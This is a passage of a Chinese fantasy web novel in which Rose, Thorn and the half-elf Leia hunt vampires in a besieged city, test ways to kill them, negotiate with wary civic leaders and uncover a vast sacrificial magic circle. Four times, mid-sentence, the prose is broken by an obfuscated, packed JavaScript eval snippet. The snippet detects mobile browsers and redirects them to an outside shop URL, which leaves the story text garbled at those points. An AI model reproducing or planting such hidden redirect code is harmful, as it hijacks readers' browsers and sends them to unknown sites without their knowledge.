小石子飞了出去，打在约瑟夫的墓碑上，又弹了出去。两人一下子沉默了。 进入这座城时，小队一行六人。而此时，已经有四位伙伴长眠于地下，另外一人生死未卜，只留下索恩一个人，清醒地面对着这份悲伤和孤独。 “其实应该我来安慰你才对，”萝丝垂下眼，“你应该会更难过一些。” “这不是难过……好吧，我不知道该怎么说。” 风吹过索恩鸦黑的额发，细碎的发丝扬起来又垂下去，半掩住他的金瞳，让人看不出情绪。 “我不信天堂地狱，也不信灵魂，单我偶尔会希望真的有。就是这样。” 萝丝抬头看着他。 黑色半脸面具阻隔了她的视线，她不知道他真实的情绪，也不知道该说些什么。 “该死的，别这样看着我，”索恩突然抬手抹了把脸，“说点别的吧，吸血鬼、逃生计划，或者别的什么东西都可以。” “抱——好。” 萝丝又低下头，却一时间不知道从何说起。直到索恩提醒她：“你提出让所有人住到教堂去。你觉得成功的几率高吗？” “坦白来讲，我觉得不太高。”萝丝叹了口气，“但我让他们把窗户钉死、锁好门的建议应该还是会被采纳的。我想，总是能起到一点作用的。” 索恩点头：“最近的夜晚对于他们应该会好过一些。毕竟，”他向着墓碑歪了歪头，“我们解决了那么多。” 萝丝也点点头：“我还鼓励他们及时搜寻亡者的尸体并带到阳光下来。这很考验勇气，不过他们肯定可以做到的。” “这也是他们为数不多能做的事了。” “不，其实远远不止。如果剩下的居民能自主组建起一个临时自救组织并退选出一位领袖的话，我们就可以更便捷地交换信息和合作，说不定，真的能找到出路。” “嗯，风越来越大了，走吧。” 虽然这样说着，但两人谁也没有动。 他们就这么在墓前站着，一直到黄昏。 回到教堂后，萝丝吃惊地发现他们有了一位访客。 老人在礼拜堂的长椅上坐得端正，帽子拿在手上，脚边放着一个行李包袱。 听见脚步声，他回过头，笑得温和而慈祥：“萝丝小姐，我听您说可以来这里住宿，所以我就来了。” “当然！相当欢迎！”萝丝一下子激动起来，“相信我，我们会尽力守护您的安全的。” 老人笑着点点头：“我已经行将就木，并不在乎多活这一年半载。不过，我对于萝丝小姐提出的构 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992452|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想很感兴趣，不知可否详谈？” “当然可以，”在萝丝回答之前，一个声音突然从礼拜堂一角响起，萝丝脸上的欣喜一下子僵住，“年轻人们，能不能先劳驾一起用完晚膳再详谈？对，我在说你们所有人。” 看到彼得老人相当惊讶的神情，萝丝原本想解释一两句，但在对上莱雅冰蓝色的不赞成目光时，她果断选择了噤声。 “抱歉，我觉得这样实在失礼，可是她不同意我下床。” 萝丝拥着被子坐在床上，相当无奈地偷偷指了指一旁的莱雅，被她毫不客气地瞪了回来：“如果你懂得珍惜自己的生命，而不是在彻夜战斗之后选择再去增添新的伤口的话，我会允许你下床的。” 彼得老人笑了笑：“我可以理解的，萝丝小姐。” 他有些吃力地弯腰，从包袱中取出几卷图纸在面前一一展开：“这里是阿德玛城的地形图和城堡的建筑示意图。是家父早年遗留下来的草图，可能不便于阅读，您有什么疑问可以尽管提出。” 萝丝不禁在被子上擦了擦手，郑重地接过图纸。 这些草图画得潦草却传神，周围用不同颜色的蜡笔标注出了地形和各种批注，足以看出绘制者在其上投注的心血。 萝丝对地理知识并不算熟知，仅仅只是在神殿的通识课上有所了解，而且了解的还是“如何将法阵与地形结合”这种指向性很强的知识。好在批注写得相当详细，彼得老人的解释也很传神，萝丝逐渐理解了图纸上的信息，在脑内一点点构建起整座城市的模型。 阿德玛城整体呈半圆形，半圆的底边就是罗伦斯山脉一侧的峭壁。因为这里恰巧有一条河流的分支流经，所以整体不算是干旱。 而神殿此次构建的圣光囚笼就呈现半笼状，将整座城市圈在圣光荆棘和峭壁之间。 萝丝比划了一下，圣光囚笼的范围应该也将河道包括在了其中。 看来走水路不行，她咂咂嘴。 而城堡则是依照峭壁的山势建成，一部分建筑甚至嵌入了山体之中。 由底层向上，依次是水牢、地牢、城墙和主楼，以及瞭望塔。而城墙分为三层，呈现出盘旋而下的趋势，每一层之间由暗门联通。从城堡主楼到城堡门口有一段长长的阶梯向下，萝丝认出，他们上次就是从这里逃出城堡的。 她看着城堡的图纸沉吟了一会儿，又拿过罗伦斯山脉的地形图比对。 看了半天，她感到冥冥中仿佛有灵感一闪而过，却又抓不住它。 彼得老人看她拧着眉陷入苦思，温声劝解道：“萝丝小姐，没关系，不必急于一时。您可能需要更多的时间，就像家父曾经说过的；‘你得给灵感仙灵一点找到你的时间’。” 萝丝闷声道：“我的‘灵感仙灵’可能迷路了。” “您已经过于疲惫了。莱雅女士告诉我，您现在极度缺乏睡眠，这样的状态是无法吸引仙灵来拜访的。依我之见，您需要休息。” 萝丝扁扁嘴：“我想我——” 看见莱雅的眼神，她改口道：“我觉得，我的确需要睡眠。” 这是真的。当她躺下时，立马感到极度的疲惫。 为了确保安全，莱雅把所有人聚集在了一间房中，让萝丝和薇薇安睡在里间，彼得老人谁在外面，她则和索恩共同守夜。 里间只有一张床，萝丝便蜷缩在薇薇安身边。虽然知道对方还未醒来，但仅仅只是躺在她身边，听见她均匀的呼吸声，萝丝也觉得安心了许多。 睡意袭来，萝丝恍惚间觉得自己好像明白了什么，却猝不及防地跌入了梦乡。 18. 第 18 章 果然如索恩所言，这一晚度过得相当平静。 难得的一夜安眠，第二天萝丝醒来时，已经是接近中午了。 “所以，接下来你们有什么打算？”莱雅一边给她的伤口换药，一边问道，“除了把教堂改造成庇护所之外。” 萝丝低头思索了一会儿，说道：“我已经拜托了彼得先生，请他寻找阿德玛城内可以挖出通道的地方，所以当务之急还是先解决吸血鬼的威胁。我们必须找到更多杀死吸血鬼的方法，还要和市民自治组织的领袖们谈一谈。” 莱雅挑眉：“还要谈？就我所知，他们可是相当不信任你们这些外乡人，尤其是昨天你把所有真相告诉他们之后。” “不，不是所有。关于神殿、关于我的许多事情我都还没有透露。如果想要建立起合作关系的话，他们就必须对这些信息有所掌握。” 一旁的索恩接过话题，问道：“关于杀死吸血鬼的方法，你怎么想。” “教堂里有不少相关书籍，我可以去查阅。但是，我们该怎么验证这些办法的真假？用吸血鬼做实验吗？”莱雅问道。 萝丝微微一笑：“正巧，我就是这么想的。” 每一座城市都有贫民窟。 应该说，神殿统治之下，贫民窟无处不在。 有的人因为交不起高额的赋税而破产，有的人被神殿骑士打成残疾从此失去一切，有的人可能从小就在贫民窟中艰难长大，因为他的父母被征召成为了圣骑士东征的仆人，从此一去不复返。 形形色色的悲剧在此处上演，原因不一而是，却又无一不指向那最终的罪恶：神殿。 萝丝提起斗篷边，小心地绕过一个漂浮着不明污秽物的水坑。 阿德玛城的贫民窟也位于这座城市的低洼处，城市的排水系统将所有垃圾和污水带到这里来。就如某位先贤所说：“贫民窟是世界上规模最大、使用范围最广的水牢。” “你想到从这里入手，是因为火灾将线索指向了贫民窟。”索恩一如既往地用陈述句问道。 “是的，但不止这个原因。”萝丝拨开低矮泥墙上长出的杂草，“阿德玛城里的吸血鬼最多时有几百只，这些吸血鬼白天都藏在哪里呢？而说道城市中能藏纳大量人口的地方，又还有哪里呢？” 索恩赞同道：“尤其是火灾之后的贫民窟，会成为藏污纳垢无人涉足之地。” “但由于市民们勇敢地冲出来救火，让贫民窟不至于被焚烧殆尽。说不定，我们还能找到些什么线索。” 他们穿过一片片断井残垣。 所过之处，砖瓦泥墙无不被熏得焦黑，坍圮之处露出黑漆漆的大口，内里是一片腐烂破败。 索恩时不时蹲下，仔细地检查一些烧毁得相当严重的墙体，眉头深锁，金色瞳孔中闪着锐利的光芒：“这是可能是人为纵火。” “为什么？” “起火点不止一个，而是多个地点同时起火，而且，一些不易燃物也着火了。不像自然火灾。” 萝丝点点头，顺着他的话分析下去：“纵火是重罪。这个节骨眼上应该不会有人试图和贫民窟过不去，大概率是吸血鬼所为——就这里吧。” 萝丝在一座保存得相对完好的泥砖房前停了下来，目测估计了一下其中的空间，点亮魔灯走了进去。索恩紧随其后。 “找不见光的角落。” 两人分散开，在房间各个角落搜寻起来。 贫民窟的住房本就低矮拥挤且混乱，在火灾之后更是让人几乎寸步难行。萝丝好不容易从坍塌的屋顶和横梁之间挤过去，却在一间狭小的房间里看见了四张床。 “……” 萝丝忍不住叹了口气，俯下身去挨个检查床底。几分钟后，她灰头土脸地从床底爬出来，拍拍手。 正要转身离开时，她突然听见角落里传来一声轻响。 萝丝朝那个方向走了两步，没有听到任何声音。于是，她发出一声相当遗憾的叹息声，向低矮的门口走去。 又传来一声轻响。 萝丝微微一笑，猛地转身拔枪指向墙角的一堆碎木料：“什么人，出来！” 碎木料没有做声。 萝丝慢慢走过去，枪口始终瞄准木料堆，直到走到木料堆前。似乎不是错觉，她看见木料堆哆嗦了一下。 “出来吧，我看见你了。放心，我不会开枪，出来吧。” 木料堆动了起来。最上面的横木咕噜噜滚下，一个男孩的头探了出来。 萝丝算是明白他为什么要躲进木料里了。 这个男孩肤色深黑，面黄肌瘦，身上破烂的衣服沾满了泥土和灰尘，几乎和碎木一个颜色。全身上下，只有他一双黑色的眼睛提溜乱转，闪着精光。 “小姐，夫人，我不是故意的，我发誓我不是……” “没关系，”萝丝打断他，“不过你不应该在这里玩耍。这里很危险。” “小姐夫人，我不是在这里玩。我想找一些有用的东西，或许可以换点吃的——我没有偷东西！请您不要告诉神殿的人！” “我不会的。你不用叫我小姐，叫我萝丝就行。对了，你刚刚说‘换口吃的’？” “是的，小——呃萝丝，我已经吃了三天的稀粥了。”男孩扮了个鬼脸。 萝丝闻言轻轻叹了口气，从腰包里摸出一个莱雅塞给他们的甜面包，递给男孩：“这个你拿着，去和你的家人一起吃吧。不要在这里逗留，尤其是天黑之后。” 男孩接过面包小心地藏进怀里，却没有动，仰脸问道：“大人……我可以为您做事吗？” “我没什么需要你做的事。你走吧。” 男孩还是没有动：“我拿了您的东西，就应该帮您做事。真的，我什么都能做！您想看看四周吗？我可以给您当导游——” “等等，”萝丝眼前一亮，“你对这里很熟悉吗？” “那当然，就像我熟悉我的脚指头一样！”男孩挺起胸膛。 “好，我想请你帮我个忙。放心，我会给你报酬的。” “他看起来并不像传统意义上的吸血鬼。”索恩对着那个名叫尼克的男孩皱眉。 萝丝挡在男孩面前：“他不是吸血鬼，但他可以帮我们找到很多吸血鬼。这孩子说他熟悉这里每一个藏人的地方。” 索恩盯着男孩看了几眼，点点头，没说什么。萝丝凑上去，压低声音道：“放心，我会保护他的安全的。” “我可没在担心。” 萝丝笑了笑，跟随着男孩的指引向前走去。 “就在这里，钻过去，你就能看见一个奇怪的柜子，推开门，对——话说你们在找什么吗？为什么不让我进去帮忙呢？” “没事。”萝丝在里面含混道，“索恩，东西给我。” 接过被卷成一卷的裹尸布，萝丝伸手触碰了一下眼前苍白的尸体。 这具面容普通却带着一丝邪恶气息的男尸已经完全没了心跳和呼吸，肢体却依旧柔软，丝毫没有腐烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006445|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的征兆。 萝丝小心地用小银刀撬开尸体的嘴，满意地看到了尖利得不寻常的犬齿和上面沾染的血迹。收回小银刀时，尸体上留下了明显的烧焦的印痕。 确认完毕，吸血鬼无疑。 萝丝废了点劲将沉睡的吸血鬼拖出来，又用裹尸布将尸体密不透风地缠上。她掂了掂吸血鬼的重量，发现轻得出人意料。 “……这里面有什么东西可以找的吗？黄金？神谕？还是——” 还在碎嘴的尼克看见萝丝扛着一个人形包裹从里面钻了出来，立马惊恐地闭上了嘴巴。而索恩已经把马车赶了进来，帮萝丝把吸血鬼抬上马车。 “别介意，只是吸血鬼而已。”萝丝对着尼克笑笑，转头向索恩问，“你觉得七八只够了吗？” “应该可以。毕竟，能有效杀死吸血鬼的办法应该没我们想象的多。” “吸血鬼？！” “是的，吸血鬼。” 一路上，萝丝严肃地向尼克科普了什么是吸血鬼、为什么城里会有吸血鬼等等诸多问题。她严肃地告诫尼克，尽量在夜晚保证自己的安全，也让他把这些信息带给他的邻人们。 听着萝丝的话，男孩眼睛瞪得圆圆的，大张的嘴几乎不曾合拢，连提问也顾不上。 一直到萝丝把第五只吸血鬼扛出来，他才结结巴巴问道：“那——我们，会死吗？” “……也许会，我无法保证这一点。”萝丝转过身，严肃地面对他，“我可以保证的是，我会尽我所能保护你们。” “哇，听起来好酷！我可以加入你们吗大人？即使不给钱我也愿意干呐，这种活计可太酷了！” 萝丝叹了口气，打断了尼克的幻想让他继续指路。 找到七只吸血鬼之后，时间还有空余，他们便继续搜索吸血鬼的身影，并且将他们拖出来，扔在阳光下。 那些苍白柔软的尸体甫一接触灿烂的阳光，便发出激烈的惨叫声，随即如烧焦般扭曲变形，直至化为青烟散去。 尼克看得再一次目瞪口呆。 “十七个，可以了。”萝丝抹了把汗，把脸弄得更脏了。 索恩塞给她一方手帕，转头把一枚银币弹到尼克手里：“小子，你的报酬。还有，听着，有什么困难的话，你可以去教堂寻求帮助，但扮演屠龙英雄拯救世界的事，想都不要想，明白吗？” “教堂？”尼克扁扁嘴，“教堂才不会帮人呢！他们只会让我们交钱、交钱、交钱，或者是派一群吓死个人的骑士来骂我们。我妈妈说，天上那些发光的玩意也是他们弄的。呸，教堂里面没有一个好东西，里面养的马都是喝人血长大的！” 住在教堂的两人一马沉默了。 萝丝轻咳了一声掩饰尴尬：“是这样的，尼克，我们只是暂时在教堂里借住，并不是和神官一样的坏人。现在城里吸血鬼肆虐，我希望大家能团结起来共同拯救城市，自然也包括你们，你明白吗？” 想了想，她又从腰包里摸出一枚小小的护身符，“如果你想的话，去教堂找我吧，带上你的家人一起。那里会有食物，会有干净的水，会有你们的住处的。” 碎嘴的男孩难得的没有说什么，只是攥紧护身符用力点头。 萝丝跳上马车，索恩一抖缰绳催动灰马，马车在坑坑洼洼的路面上跑动起来。 一直到马车跑出很远了，萝丝回头看去时，还能看到男孩站在原地，一手护着怀里的面包，一手攥着护身符，黑眼睛中闪着熠熠光芒。 19. 第 19 章 一份字迹秀美的实验记录。 实验一：大蒜。完全不起作用。索恩认为应当从最不可能的部分做起，但我认为这是在浪费时间。 实验二：圣餐。完全没用。当然也有可能是因为吸血鬼不会自己把圣餐咽下去。 附：任何圣物都没有用。 实验三：用木桩刺穿心脏。有用。应该找到更多实验样本确认是不是任何直径任何种类的木桩都有效果。两个不严谨的年轻人。 实验四：银制武器。有用。银可以阻止吸血鬼的恢复再生，用含银的武器攻击其头部和心脏可致死。会留下灼烧状痕迹。 实验五：斩首。有用，再次证明。 实验六：日晒。有用。它们会燃烧起来。 实验七：烈火焚烧。有用，但温度必须足够高。 …… “搞定了……吗？没有什么其他千奇百怪的方法了吧？” 萝丝忍不住伸了个大大的懒腰，索恩起身把另一具死去的吸血鬼的尸体拖到阳光下。这些理论上已经是尸体的怪物却会在死去时发出凄厉的哀嚎声，令人毛骨悚然，却又不自觉地感到悲伤。 莱雅“啪”的一声合上实验记录本：“结束了。总共找到五种方法，其中三种可行性都很高。实验很成功。” 没人欢呼，这是当然。萝丝和索恩碰了碰拳——这是索恩教她的——然后问道：“那些自治组织的领袖呢？他们什么时候来？” “实际上，已经来了。一刻钟前。彼得正在陪着他们看教堂，你还有几分钟时间准备。” “啊，其实我更愿意面对吸血鬼。” 这里原本是一间告解室，后来被改成了普通的办公处。尽管如此，萝丝落座时，还是产生了一种自己即将聆听他人忏悔的错觉。 对面坐着三个男人。中间的那个是萨姆，另外两个都是严肃的中年人，看起来出身优渥。见到她时，萨姆笑了一下，又很快在其他两人的目光下敛了笑意。 “下午好，萝丝小姐，我们如您所建议的成立了自治组织，我们被推举成为领袖。这位是前市政厅议员，阿尔弗雷德?坎德拉，这位是菲利普?莱恩，有爵士头衔。两位，这是萝丝小姐。” 被介绍的几人都露出审视的目光，冷淡地点点头。不理会对方的眼神从她的一头红发、脸上的雀斑和黑眼圈上扫过，萝丝开口道：“几位，过多的客套就不提了。我们坐在这里，是因为有共同的目标：活下去，逃离这座城市。所以，我希望我们能尽可能地坦诚，在信息交换方面开诚布公。” “坦诚？”那个看起来像鹰一样的阿尔弗雷德开口，“我们对你一无所知，外乡人，连你是做什么的也不知道，这也算是坦诚吗？” 萝丝点头：“合理。我可以告诉你，我曾经是神殿的人。但除此之外我无可奉告，因为我们今天的议题与此无关，议员先生。” 阿尔弗雷德不置可否。 萝丝继续道：“正因我曾在神殿任职，我得以知道一些秘辛。我希望你们能如实地将它转达给人们。” “我们目前面对的危机有两个，一是吸血鬼，二是神殿造成的毁灭。” “吸血鬼的问题目前而言更加紧要。我认为，我们应该组织市民白天对吸血鬼进行搜索，夜间在大型封闭空间内共同休息并设置守夜人员。同时在市长和领主都遇——呃不在的情况下，完成募集银制品并开启粮仓分放粮食等问题。” “而毁灭日，抱歉，我们这么称呼它，距今还有十几天，我们可以考虑开凿山体离开城市。这一项并非我的专长，你们可以和彼得老人详谈。” 萨姆频频点头，而他身边的阿尔弗雷德和菲利普却不断眼神交流着，显出相当的疑虑。 萝丝说完后，阿尔弗雷德道：“并非我有意无礼，小姐，但您着实有些欠考虑了。我们凭什么要相信将各种价格不菲的银制品交到您手里就可以买来我们的安全？我们又怎么确定开启粮仓之后，不会有人浑水摸鱼不劳而获？” 萝丝吸了口气：“的确，您的怀疑很有道理。我也清楚，作为外乡人，我天然容易受到更多的质疑。随着我们合作的深入，我会尽我所能地争取你们的信任，但我也希望至少现在我们之间的信任能足够我们构建起合作关系。” “至于银制品问题，”她把实验报告从桌面上推过去，“您可以自己看一看。” 阿尔弗雷德拿起羊皮纸笔记本，看完之后又念给萨姆听。而一旁菲利普则问道：“而关于第二个问题，这位我连姓氏都不知道的小姐，我想确认一下，面对神殿的毁灭日，真的只有逃跑一条出路吗？” “什么意思？” 菲利普露出不耐烦的神情：“我是说，没有和神殿交涉的可能吗？就我所知，我们每年缴纳的税款会有相当一部分流向神殿，无缘无故毁灭一座城市，并不符合神殿的利益。我们可以提供更多的税金，甚至可以放弃一部分自治权作为交换。总之，您曾经是神殿的人，您应该明白神殿的需求是什么。” “我当然明白，”萝丝冷冷道，“所以才不抱有任何幻想。神殿的需求就是毁灭，这一点您无需怀疑。” “呵，抱歉，我收回前言，您就算在神殿里能当一个女神官，恐怕也了解不到最高层那些人是怎么想的。相信我，只要能有一个谈判的机会，我可以说服他们的。” 萝丝深呼吸一口气，强行压下心头的怒火。她装作不在意菲利普话里明里暗里的贬低，但也无法不去想那些将要被提供给神殿的“利益”会从哪里来。什一税、伍一税，甚至三一税？ “够了，如果您想，您可以尝试去和神殿沟通，只是恐怕他们并不愿听取您的声音，爵爷。”萝丝恶狠狠吐出最后两个字，满意地看到菲利普脸色一变。她不再理会他，转向阿尔弗雷德和萨姆两人：“你们还有什么问题吗？” 谈话磕磕绊绊地结束了，三人起身告辞走到门边。却听见萝丝略带些犹豫的声音：“那个，我还有一些话想私下对萨姆说，可以吗？” 女孩脸颊通红，眼里闪着光，一眼就能看出来心里想着什么。阿尔弗雷德眯了眯眼，菲利普则毫不掩饰地“哼”了一声，把萨姆推出去：“去吧小子，别淹死在爱河里了。” 萨姆一头雾水地被萝丝拉到一边。在另外两人看不到的地方，萝丝一秒变脸，属于少女的羞涩和赧然瞬间全变成了冷静和严肃：“听着，萨姆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008747|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你是个好孩子，你和他们不是一样的人。你是农民的孩子，是能代表普通人意志的人。无论另外两个人怎么说，你要想办法为那些普通人谋取利益，你明白吗？” 萨姆懵懂地点点头，萝丝又语速飞快地说道：“尽量让更多人选择你，尽量让更多人来教堂避难，只有我们，更安全一点。” 萨姆做出保证后，萝丝露出才松了口气的样子。她点点头，像是还想说什么，却只是低声道：“愿自由和希望都与你同在。” 萨姆没太听清她说了什么，再想问时已经被萝丝推了出去。 晚餐结束，彼得老人和索恩去洗盘子，莱雅在灯下重新誊抄一份杀死吸血鬼的办法公告，萝丝坐在一旁翻看着从城堡里带出来的魔法笔记，却是一副心不在焉的样子。 “你怎么了？”莱雅放下笔，将吸墨纸盖在公告上，“从下午开始你就是现在这个样子。” 萝丝叹了口气，放下笔记：“没什么……我只是感觉很累。不是那种战斗一整晚的累，而是，而是心里感觉很疲惫……今天下午的三个人，阿尔弗雷德顽固，萨姆单纯，菲利普市侩，和他们打交道需要太多精明机智和虚与委蛇了。可偏偏他们还是市民推举出来的人。把城市交到这种人手中，真的没问题吗？” 莱雅笑了笑，又重新拿起笔：“一座城市，只要不是从骨子里烂透了，很少会因为一两个不合适的领袖而毁灭。更何况，那个阿尔弗雷德并不是完全不可以合作的人，甚至菲利普也可以被利用，就看你怎么想了。” “我知道。我只是担心，如果我们不能通力合作的话会导致更多平民伤亡……等等你怎么会这么了解他们两个？” 莱雅笑着点了点自己的耳朵：“精灵之耳，年轻人。” 萝丝耸了耸肩，又打开魔法笔记。看到一个相当详尽的法阵时，她忍不住抬手试着凝聚出同样的法阵，才后知后觉地意识到，自己体内已经没有半点魔力在流动了。 她叹了口气，把笔记扔到一边，又取过彼得老人的几份图纸来看。一直到午夜，夜色深沉，她才在莱雅催促下上床。 等等！ 萝丝猛地坐起，惊魂未定。恐惧和惊讶的情绪久久萦绕在心头，她大口喘息了许久，才压下那种恐怖的感觉。 可笑的是，她连自己梦见了什么都忘了。 对上守夜的索恩询问的眼神，她摆摆手示意自己没事，随后躺回去，却睡意全无。好不容易感受到了困意，恍惚间，她莫名想起了昨晚脑海中一闪而过的灵感。 图纸、笔记、城市中一座座建筑……它们彼此之间相互融合，叠压，突然串联成为一副清晰的图景！萝丝再次弹起来，披衣下床，点亮了魔灯。 “怎么了？” 被灯光惊醒的莱雅用口型询问索恩，索恩摇摇头。想了想，莱雅还是起身来到萝丝身边，发现她一手拿着城市规划草图，一手将魔法笔记翻到被撕毁的前一页，正在将两者相互比对。她看起来已经沉浸在自己的思绪中，让人觉得任何一点疑问都是对她的干扰。 莱雅最后还是没有做声，而是示意索恩去休息一下。她则默默地站在萝丝身后，面对两幅图纸，似有所悟。 20. 第 20 章 领主城堡、贫民窟、教堂…… 萝丝的手指在羊皮纸上滑动，另一只手拿着笔，飞快地在草纸描出几个地点大致的方位，再连接起来…… 萝丝把草纸举起来，放在魔法笔记上方。光线透过，可以看见法阵上五芒星的三个角恰巧与三个地点相重合！ 萝丝不禁倒吸了一口冷气，她身后的莱雅也不由得皱了皱眉。 这不是巧合。 萝丝又抽出一张草纸，按照城市规划草图的比例大致勾勒了一张图纸，标记上著名建筑，再叠放到魔法笔记上，这一次更加明了，城市中另外两处建筑物也落在了五芒星的另外两个角上！ 是墓园和坎德拉古宅。 “坎德拉……”萝丝觉得自己似乎在哪里听过这个名字，就听见身后莱雅低声道：“今日拜访的那名议员，阿尔弗雷德?坎德拉。” 萝丝恍然大悟，又拿起城市规划草图。有了五芒星的辅助，现在她可以在地图上轻易定位出整个法阵：外魔法环、内魔法环，阵核则是位于城市中样的市政厅建筑…… 这个法阵有怎样的效果？又是谁暗中布下了这个法阵？领主对这件事情知道多少？或者说他就是主谋？ 萝丝感到背后一阵发凉，头脑中快速分析着各种可能。而她身后的莱雅则拿起了她手边的魔法笔记，看着魔法阵和其后的残页陷入沉思。 “不对，我想不明白。” “我明白了。” 良久的沉默后，两人突然异口同声道。萝丝抬起头看向莱雅，后者安抚地笑了笑。 “这是一个用于献祭的魔法阵。”说着，莱雅拿起纸笔，在纸上飞快勾勒出一个个形态各异的魔法阵，“你看，虽然祭品不同，目的也不同，但这几个魔法阵献祭的对象是相同的，”她指向法阵上被抽象处理的外魔法文，“这是古精灵语经过扭曲之后书写出来的效果，指向的对象是——” “神圣光明父神，我知道，我学过魔法阵解析。”萝丝接过话头，指向魔法阵上的太阳纹路和书写成环状的祷文，“太阳形状的纹饰也是指向光明父神的特征之一。而这三个法阵的祷文长度由短到长，祈祷的内容也就越来越复杂。” “是的，而第三个法阵就是曾名噪一时的‘艾尔维娜的神迹’法阵，它以消耗大量魔法石、草药和珍贵的灵性材料为代价，在九位神官咏唱十二天的情况下，让死去的艾尔维娜公主起死回生。” 莱雅说着，目光移到魔法阵上。复杂扭曲的祷文彼此缠绕，被书写成三个彼此相扣的环。而这已经是复活一名亡者所需的复杂程度了。而眼前的这个魔法阵，上面彼此相扣的、由祷文书写成的圆环，有整整七个！ 萝丝看着法阵，显然也想到了同样的事情，但远远不如莱雅震惊。“七个环，他们是想复活两个人吗？还是要复活一位死亡了很久的人？难道是什么圣者？” “不，”莱雅神色复杂地摇头，“祷文环的力量并不是你所想的那样简单叠加，而是呈指数级递增的。可以说，如果三个祷文环足以让一人复生的话，七个祷文环便可能可以让千人，不，甚至是万人复生！” “这样的威力……神殿想要做什么？”萝丝眉头紧锁，感到心脏因为接近了可怖的真相而飞速跳动。 以她对神殿的了解，神殿绝不可能真的上演一出什么好心的“毁灭一座罪恶之城再把所有人复活”戏码，所以这个法阵的目的绝不可能是复活。那又是什么？威力几乎和上万人复活的献祭法阵，他们想要得到什么？从神那里？ 而这样一个阵法，启动的条件、献祭的物品又会是…… 她抬起头：“莱雅，你可以解析这个阵法吗？我们必须知道这个阵法所需的祭品、启动的条件和最终的目的，这事关我们的生死，可以吗？” 莱雅点点头，接过她手中的笔记：“当然，我会尽力而为。但你也要做好无功而返的准备。这个阵法相当复杂，并不一定能够完全解析。” “我明白。等等，”萝丝又想起了一件事，“你说，这个五芒星上的其他建筑会遭遇什么？” “和我们、和贫民窟一样的事。”莱雅笃定地低声道。 “你的意思是，另外两个毫不相干的地方被袭击了，所以我家也会被突袭？” 阿尔弗雷德?坎德拉坐在会客室的沙发上，一双鹰眼中的怒气几乎要在萝丝和莱雅两人身上戳出洞来。可惜的是，这两人都不是会被区区目光吓退的人。萝丝依旧坐得笔挺，不厌其烦地向阿尔弗雷德解释魔法阵和城市建设之间的联系。而莱雅漫无目的地扫视着阿尔弗雷德家里的瓷器，甚至露出几分吹毛求疵的神情来。 “够了，够了。”阿尔弗雷德举起一只手打断萝丝，“我感谢您的好意，但我不需要。” 他回身挥着手，指着自己偌大的家宅：“听着，萝丝小姐，我们家的这所住宅也是拥有相当久远的历史，尽管现在家族的投石塔已经被拆除，凭借地形我们依旧有不俗的防御和反攻能力。而且，不是我自夸，自从城里闹出这么些事情以来，我们家虽然失踪了一两个仆人，但绝大部分的人都生活得相当安稳，几乎不受影响。所以，我们不需要你们这些无稽之谈的提醒，也不需要多余的帮助，明白了吗？” “呃，”萝丝摸了摸鼻子，小声道，“我可以理解您的愤怒，把您早上六点从床上弄起来确实是我们不对，但您也不用火气这么大吧……” “算了，萝丝，没用的。” 见萝丝还想说些什么，高傲的半精灵冷哼一声阻止道：“既然议员大人一心求死，我们也不用过多操心。反正被转化为吸血鬼之后也要过一段时间才能自如活动，我们等出事之后来放把火就好了。” 她这一番话把阿尔弗雷德的脸说的青一阵白一阵，正要发作，莱雅冰蓝色的瞳孔却突然锁住他双瞳，手一扬洒出一阵烟雾般的粉尘，口中吐出几个肃穆严厉的音节！ 阿尔弗雷德的动作骤然僵在原地。只见他瞳孔慢慢缩小，神情逐渐变得惊恐异常，像是窥见了无尽深渊地狱中的恐怖一般。他向后踉跄几步倒在沙发上，几分钟后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025786|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才大叫一声坐直了身体。 “怎、怎么回事？你做了什么？” 莱雅冷冷的冰蓝色眼眸看得他不寒而栗。他不自觉地躲避着这目光，仿佛在害怕那目光下一秒又要将他拖进绝望可怖的噩梦之中，永世无法挣脱！ 